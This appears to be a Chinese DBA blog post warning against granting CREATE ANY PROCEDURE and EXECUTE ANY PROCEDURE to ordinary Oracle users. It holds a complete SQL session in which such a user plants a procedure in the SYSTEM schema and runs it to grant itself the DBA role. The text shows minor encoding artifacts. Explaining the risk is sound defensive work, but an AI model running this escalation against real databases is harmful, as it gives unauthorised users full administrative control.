??給一般用戶(hù)授 create any procedure、execture any procedure 這2個(gè)權(quán)限是很不安全的事。

因?yàn)槭跈?quán)后，通過(guò)一些處理，該用戶(hù)可以取得dba權(quán)限，請(qǐng)一定注意。

?

下面是實(shí)驗(yàn)過(guò)程：

SQL> create user hacker identified by bbk;

User created.

SQL> grant create session to hacker;

Grant succeeded.

SQL> grant create any procedure,execute any procedure to hacker;

Grant succeeded.

?

?

SQL> conn hacker/bbk
Connected.

SQL> show user
USER is "HACKER"

SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE

?

SQL> create procedure system.h1(h1_str in varchar2) as
2 begin
3 execute immediate h1_str;
4 end;
5 /

Procedure created.

?

SQL> execute system.h1('grant dba to hacker');

PL/SQL procedure successfully completed.

?

SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
UNLIMITED TABLESPACE
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE

?

SQL> conn hacker/bbk
Connected.

SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER

...................................

161 rows selected.

?

SQL> select * from session_roles;

ROLE
------------------------------
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE

?

?

Oracle: 禁忌給一般用戶(hù)授權(quán)create any procedure、execute any procedure